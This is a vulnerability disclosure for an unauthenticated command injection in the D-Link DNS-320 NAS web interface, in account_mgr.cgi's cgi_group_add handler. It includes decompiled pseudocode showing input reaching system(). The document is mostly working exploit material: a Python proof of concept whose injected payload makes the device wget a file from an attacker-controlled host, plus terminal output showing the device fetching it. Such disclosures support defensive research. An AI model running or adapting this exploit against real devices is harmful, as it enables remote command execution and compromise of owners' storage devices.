D-Link DNS-320 account_mgr.cgi cgi_group_add function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
The account_mgr.cgi binary's cgi_group_add
```

```
    else if ( !strcmp(v1, "cgi_group_add") )
    {
      sub_17058();
    }
```

The `account_mgr.cgi` binary's `sub_16898` function (invoked by `cgi_group_add`, `cgi_user_add` etc.) incorrectly uses `vsprintf` to format user input into a shell command and passes it directly to `system()`, and due to a flaw in `sub_1CF0C` authentication checks, allow unauthenticated remote attackers to execute arbitrary shell commands via the `cmd` parameter.

```
S-320_REVA_FIRMWARE_2.05B10_HOTFIX\squashfs-root\cgi\account_mgr.cgi
ions Windows Help
No debugger
on Data Unexplored External symbol Lumina function
IDA View-A  Pseudocode-A  Strings  Hex View-1
int sub_17058()
{
  char v1[12288]; // [sp+0h] [bp-305Ch] BYREF
  char s[92]; // [sp+3000h] [bp-5Ch] BYREF

  memset(s, 0, 0x40u);
  memset(v1, 0, sizeof(v1));
  cgiFormString("group", s, 64);
  cgiFormString("member", v1, 12288);
  sub_16898("account -a -g '%s' -l '%s'", s, v1);
  syslog(6, "Group \"%s\" has been created.", s);
  LIB_CP_Config_To_MTD(4194342);
  return cgiHeaderContentType("text/html");
}
```

```
int sub_16898(const char *a1, ...)
{
  char *v1; // r0
  char *v2; // r4
  va_list varg_r1; // [sp+24h] [bp+8h] BYREF

  va_start(varg_r1, a1);
  v1 = (char *)malloc(0x2000u);
  v2 = v1;
  if ( !v1 )
    return 1;
  memset(v1, 0, 0x2000u);
  vsprintf(v2, a1, varg_r1);
  system(v2);                                   // Command Injection Sink
  free(v2);
  return 0;
}
```

POC

```python
import requests

ROUTER_IP = "192.168.31.10"
MY_IP = "192.168.31.215"
MY_PORT = "8000"
FILE_NAME = "hack.txt"

def run_exploit():
    target_url = f"http://{ROUTER_IP}:80/cgi-bin/account_mgr.cgi"

    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}/{FILE_NAME}${{IFS}}-
O${{IFS}}/tmp/{FILE_NAME}"
    final_payload = f"x;{wget_cmd};"

    params = {
        'cmd': 'cgi_group_add',
        'group': 1,
        'member': final_payload,
    }

    try:
        requests.get(target_url, params=params, timeout=5)
        print("[+] Exploit sent successfully!")
    except Exception:
        print("[+] Exploit sent (check server logs)!")

if __name__ == "__main__":
    run_exploit()
```

Attack

lqx.py > run_exploit

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import requests

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    wget_cmd = f"wget${{IFS}}http://{MY_IP}:{MY_PORT}/{FILE_NAME}
    final_payload = f"x;{wget_cmd};"

    params = {
        'cmd': 'cgi_group_add',
        'group': 1,
        'member': final_payload,
    }

    try:
        requests.get(target_url, params=params, timeout=5)
        print("[+] Exploit sent successfully!")
    except Exception:
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS

```
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent (check server logs)!
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
PS D:\Desktop\temp> python .\lqx.py
[+] Exploit sent successfully!
```

C:\Windows\system32\cmd.exe - python -m http.server 8000

```
D:\Desktop\temp>
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D:\Desktop\temp>
D:\Desktop\temp>python -m http.server 8000
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:192.168.31.10 - - [16/Mar/2026 20:42:48] "GET /hack.txt HTTP/1.0"
```